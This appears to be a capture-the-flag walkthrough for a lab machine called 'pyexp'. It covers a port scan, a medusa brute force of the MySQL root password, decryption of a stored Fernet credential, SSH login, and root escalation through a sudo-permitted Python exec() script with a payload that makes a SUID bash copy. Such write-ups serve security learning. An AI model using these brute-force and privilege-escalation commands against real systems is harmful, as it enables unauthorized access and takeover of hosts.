General

IP == **192.168.231.118**

PORTSCAN

```
PORT     STATE SERVICE VERSION
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_  256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

3306/tcp open  mysql   MariaDB 5.5.5-10.3.23
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 38
|   Capabilities flags: 63486
|   Some Capabilities: ConnectWithDatabase, IgnoreSigpipes, FoundRows, SupportsLoadDataLocal,
Support41Auth, ODBCClient, LongColumnFlag, Speaks41ProtocolOld,
DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SupportsTransactions,
SupportsCompression, Speaks41ProtocolNew, InteractiveClient, SupportsMultipleStatments,
SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: #Eo"Yywj+8vi.H_%6#L5
|_  Auth Plugin Name: mysql_native_password
```

PORT 3306 (mysql)

```
3306/tcp open  mysql   MariaDB 5.5.5-10.3.23
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 38
|   Capabilities flags: 63486
|   Some Capabilities: ConnectWithDatabase, IgnoreSigpipes, FoundRows, SupportsLoadDataLocal,
Support41Auth, ODBCClient, LongColumnFlag, Speaks41ProtocolOld,
DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SupportsTransactions,
SupportsCompression, Speaks41ProtocolNew, InteractiveClient, SupportsMultipleStatments,
SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: #Eo"Yywj+8vi.H_%6#L5
```

|_ Auth Plugin Name: mysql_native_password

MEDUSA PASSWORD BRUTE FORCE

```
medusa -h 192.168.231.118 -u root -P /usr/share/wordlists/rockyou.txt -M mysql -t 10

2025-03-01 16:08:18 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: ISABEL (9970 of 14344391 complete)
2025-03-01 16:08:18 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: amador (9971 of 14344391 complete)
2025-03-01 16:08:18 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: CHRISBROWN (9972 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: CHIVAS (9973 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: 959595 (9974 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: 456987 (9975 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: torito (9976 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: 145236 (9977 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: 123456n (9978 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: 252627 (9979 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: summit (9980 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: sunshine3 (9981 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: topcat (9982 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: stevens (9983 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: sandara (9984 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: sammy2 (9985 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: sailing (9986 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: princess101 (9987 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT CHECK: [mysql] Host: 192.168.231.118 (1 of 1, 0 complete) User:
root (1 of 1, 0 complete) Password: prettywoman (9988 of 14344391 complete)
2025-03-01 16:08:19 ACCOUNT FOUND: [mysql] Host: 192.168.231.118 User: root Password:
[redacted]n [SUCCESS]
```

Creds root:[redacted]

data db

Inside data db was a table called fernet that included a fernet key and encrypted text called “cred”

```
cred
[redacted]
key [redacted]V0
```

decrypted

lucy:[redacted]

Port 1337 (ssh)

```
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_  256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

creds

lucy:[redacted]

privesc

Found a file called exp.py in /opt

/opt# ls

exp.py

exp.py

```
uinput = raw_input('how are you?')
exec(uinput)
```

my user could run this as root via sudo

```
lucy@pyexp:/opt$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/
bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py
```

simple exploit to root

run the file and use the payload

```
import os; os.system('cp /bin/bash /tmp');os.system('chmod u+s /tmp/bash')
```

this copys bash to tmp the makes it a suid for a simple suid privesc “/tmp/bash -p”